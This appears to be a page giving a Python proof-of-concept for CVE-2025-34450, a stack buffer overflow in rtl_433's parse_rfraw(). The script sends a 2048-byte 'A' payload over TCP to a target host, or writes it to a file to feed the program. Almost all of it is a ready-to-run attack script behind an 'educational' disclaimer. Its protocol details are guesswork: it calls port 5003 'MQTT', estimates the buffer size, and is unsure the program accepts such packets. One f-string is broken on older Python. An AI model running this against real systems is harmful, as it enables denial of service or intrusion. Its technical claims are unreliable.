CVE-2025-34450 rtl_433 parse_rfraw()栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-34450 PoC - rtl_433 parse_rfraw() Stack Buffer Overflow This PoC demonstrates sending an oversized RF raw packet that could trigger the buffer overflow in parse_rfraw() function. Note: This is for educational and testing purposes only. """ import socket import struct import sys def create_malicious_rfraw_packet(): """ Create a malicious RFRAW packet that exceeds buffer bounds. The parse_rfraw() function in src/rfraw.c doesn't properly validate input length against the stack buffer size. """ # RFRAW protocol header header = b'RFRAW\x00' # Create oversized payload (> typical buffer size of 256-512 bytes) # This will overflow the stack buffer in parse_rfraw() overflow_size = 2048 # Significantly larger than expected buffer overflow_payload = b'A' * overflow_size # Construct the malicious packet packet = header + overflow_payload return packet def send_malicious_packet(target_host='127.0.0.1', target_port=5003): """ Send the malicious RFRAW packet to rtl_433 server. Default port for rtl_433 is typically 5003 (MQTT) or uses file input. """ try: packet = create_malicious_rfraw_packet() print(f"[*] Sending malicious RFRAW packet ({len(packet)} bytes)") print(f"[*] Overflow payload size: {len(packet) - len(b'RFRAW\x00')} bytes") # Try to connect to rtl_433 if running as server sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(packet) print("[+] Malicious packet sent successfully") sock.close() except Exception as e: print(f"[!] Error: {e}") print("[*] Note: rtl_433 may also accept input via file or named pipe") def create_malicious_input_file(filename='malicious_rfraw.txt'): """ Create a file that can be fed to rtl_433 via stdin or file input. """ packet = create_malicious_rfraw_packet() with open(filename, 'wb') as f: f.write(packet) print(f"[*] Created malicious input file: {filename}") print(f"[*] Usage: rtl_433 < {filename}") if __name__ == '__main__': print("="*60) print("CVE-2025-34450 PoC - rtl_433 Stack Buffer Overflow") print("="*60) if len(sys.argv) > 1 and sys.argv[1] == '--file': create_malicious_input_file() else: target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' port = int(sys.argv[2]) if len(sys.argv) > 2 else 5003 send_malicious_packet(target, port)